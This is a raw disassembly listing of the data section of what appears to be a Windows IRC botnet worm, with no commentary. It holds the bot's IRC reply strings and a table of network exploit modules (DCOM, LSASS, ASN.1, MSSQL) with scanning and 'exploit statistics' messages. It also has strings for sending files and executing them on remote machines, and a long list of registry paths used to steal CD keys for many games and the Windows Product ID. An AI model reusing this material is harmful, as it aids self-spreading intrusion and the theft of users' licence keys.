		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4063B0+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B1D+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42716C	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C3E+493o
dword_427178	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_406C3E+47Fo
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
unk_4271C8	db    2			; DATA XREF: sub_406C3E+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_427204	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C3E+399o
unk_427218	db    2			; DATA XREF: sub_406C3E+33Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_42726C	db    2			; DATA XREF: sub_406C3E+15Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_4272BC	db    2			; DATA XREF: sub_406C3E+6Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_406C3E+Fo
		align 10h
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_40778B+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: .nsp0:00404ACFo
		align 4
		dd 5 dup(0)
dword_427338	dd 87h			; DATA XREF: sub_407135+1Er
					; sub_40CE55+2F87r ...
off_42733C	dd offset sub_4033CB	; DATA XREF: sub_40778B+1E6r
dword_427340	dd 0			; DATA XREF: sub_402DDD+193w
					; sub_402DDD+199r ...
dword_427344	dd 1			; DATA XREF: sub_407276+1Fr
dword_427348	dd 0			; DATA XREF: sub_407276:loc_4074E7r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4033CBh, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 4033CBh, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 402F84h, 0
		dd 2 dup(1), 7361736Ch,	35343473h, 736C0000h, 34737361h
		dd 3534h, 5 dup(0)
		dd 1BDh, 403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	35333173h, 736C0000h, 31737361h
		dd 3533h, 5 dup(0)
		dd 87h,	403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	403C8Bh, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 402DDDh, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 403E3Ch, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404F08h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 737361h
		dd 6 dup(0)
		dd 599h, 405168h, 0
		dd 2 dup(1), 6C616572h,	74736163h, 65520000h, 61636C61h
		dd 7473h, 5 dup(0)
		dd 22Ah, 4052FCh, 0
		dd 1, 0
aAsn1http	db 'asn1http',0
		align 2
aAsn1http_0	db 'asn1http',0
		align 4
		dd 5 dup(0)
		dd 50h,	404907h, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 404907h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	404907h, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
byte_4276A2	db 1			; DATA XREF: sub_40CE55:loc_411958r
					; sub_40CE55+4B0Do
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407135+81o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407135+42o
		align 4
unk_4276DC	db    2			; DATA XREF: sub_407135+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_427714	db    2			; DATA XREF: sub_4071FF+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_427748	db    2			; DATA XREF: sub_4071FF+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42777C	db    2			; DATA XREF: sub_407276+36Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4277C4	db    2			; DATA XREF: sub_407276+307o
					; sub_40CE55+5039o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_427814	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_407276+267o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_427858	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_407276+1FAo
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_4278AC	db    2			; DATA XREF: sub_407276+149o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4278F4	db    2			; DATA XREF: sub_407276+DBo
					; sub_40CE55+4EC3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407652+38o
					; sub_40A171+46o
unk_427954	db    2			; DATA XREF: sub_40778B+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_427990	db    2			; DATA XREF: sub_40778B+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_4279E0	db    2			; DATA XREF: sub_40799F+1CEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_427A38	db    2			; DATA XREF: sub_40799F+173o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_427A88	db    2			; DATA XREF: sub_40799F+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_427AD4	db    2			; DATA XREF: sub_40799F+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_427B20	db    2			; DATA XREF: sub_407BFE+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 10h
unk_427B70	db    2			; DATA XREF: sub_407BFE+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_427BC8	db    2			; DATA XREF: sub_407D86+1AAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_427C1C	db    2			; DATA XREF: sub_407D86+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_427C74	db    2			; DATA XREF: sub_40800A+1B2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 4
unk_427CB8	db    2			; DATA XREF: sub_40800A+18Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_427D04	db    2			; DATA XREF: sub_40800A+114o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_427D5C	db    2			; DATA XREF: sub_40800A+A8o
					; sub_40CE55+587Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_427D98	db    2			; DATA XREF: sub_40820F+1F9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_427DEC	db    2			; DATA XREF: sub_40820F+18Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
dword_427E3C	dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
					; DATA XREF: sub_40820F+F2o
		dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h,	69746E65h
		dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
		dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
		dd 0
		dd 80000001h
off_427E94	dd offset aSoftwareValveC ; DATA XREF: sub_4085D3+Cr
					; sub_4085D3+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427EA0	dd 2 dup(0)		; DATA XREF: sub_4085D3+26o
		dd 80000001h, 429028h, 42901Ch,	42900Ch, 2 dup(0)
		dd 80000001h, 428FECh, 428FE8h,	428FD4h, 2 dup(0)
		dd 80000001h, 428FB0h, 428FE8h,	428FA4h, 2 dup(0)
		dd 80000001h, 428F80h, 428F78h,	428F64h, 2 dup(0)
		dd 80000001h, 428F50h, 428F40h,	428F24h, 2 dup(0)
		dd 80000001h, 428EE0h, 429068h,	428ECCh, 2 dup(0)
		dd 80000002h, 428EA0h, 428E94h,	428E74h, 2 dup(0)
		dd 80000002h, 428E40h, 429068h,	428E28h, 2 dup(0)
		dd 80000002h, 428DF4h, 429068h,	428DDCh, 2 dup(0)
		dd 80000002h, 428DC4h, 429068h,	428DACh, 2 dup(0)
		dd 80000002h, 428D70h, 438FDCh,	428D60h, 2 dup(0)
		dd 80000002h, 428D28h, 438FDCh,	428D14h, 2 dup(0)
		dd 80000002h, 428CC8h, 438FDCh,	428CA8h, 2 dup(0)
		dd 80000002h, 428C58h, 438FDCh,	428C2Ch, 2 dup(0)
		dd 80000002h, 428BF0h, 438FDCh,	428BDCh, 2 dup(0)
		dd 80000002h, 428BA4h, 438FDCh,	428B94h, 2 dup(0)
		dd 80000002h, 428B44h, 438FDCh,	428B18h, 2 dup(0)
		dd 80000002h, 428AD8h, 438FDCh,	428ABCh, 2 dup(0)
		dd 80000002h, 428A8Ch, 438FDCh,	428A6Ch, 2 dup(0)
		dd 80000002h, 428A30h, 438FDCh,	428A1Ch, 2 dup(0)
		dd 80000002h, 4289D4h, 438FDCh,	4289B4h, 2 dup(0)
		dd 80000002h, 428960h, 438FDCh,	428930h, 2 dup(0)
		dd 80000002h, 4288E0h, 438FDCh,	4288B4h, 2 dup(0)
		dd 80000002h, 428874h, 42886Ch,	42884Ch, 2 dup(0)
		dd 80000002h, 428808h, 438FDCh,	4287ECh, 2 dup(0)
		dd 80000002h, 4287A0h, 438FDCh,	42877Ch, 2 dup(0)
		dd 80000002h, 428748h, 438FDCh,	42873Ch, 2 dup(0)
		dd 80000002h, 428708h, 438FDCh,	4286FCh, 2 dup(0)
		dd 80000002h, 4286C8h, 438FDCh,	4286BCh, 2 dup(0)
		dd 80000002h, 428688h, 438FDCh,	42867Ch, 2 dup(0)
		dd 80000002h, 428640h, 438FDCh,	42862Ch, 2 dup(0)
		dd 80000002h, 4285F0h, 438FDCh,	4285DCh, 2 dup(0)
		dd 80000002h, 4285ACh, 429068h,	428590h, 2 dup(0)
		dd 80000002h, 428570h, 428568h,	428544h, 2 dup(0)
		dd 80000002h, 428528h, 428568h,	428508h, 2 dup(0)
		dd 80000002h, 4284E8h, 428568h,	4284C4h, 2 dup(0)
		dd 80000002h, 4284ACh, 428568h,	4284A8h, 2 dup(0)
		dd 80000002h, 42848Ch, 42847Ch,	428474h, 2 dup(0)
		dd 80000002h, 428440h, 42843Ch,	428424h, 2 dup(0)
		dd 80000002h, 4283E8h, 4283DCh,	4283B4h, 4283A4h, 428390h
		dd 80000002h, 42836Ch, 428360h,	42834Ch, 42833Ch, 428334h
		dd 80000002h, 42836Ch, 428360h,	428308h, 42833Ch, 428300h
		dd 80000002h, 42836Ch, 428360h,	4282D0h, 42833Ch, 4282C8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: .nsp0:0042DE9Co
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
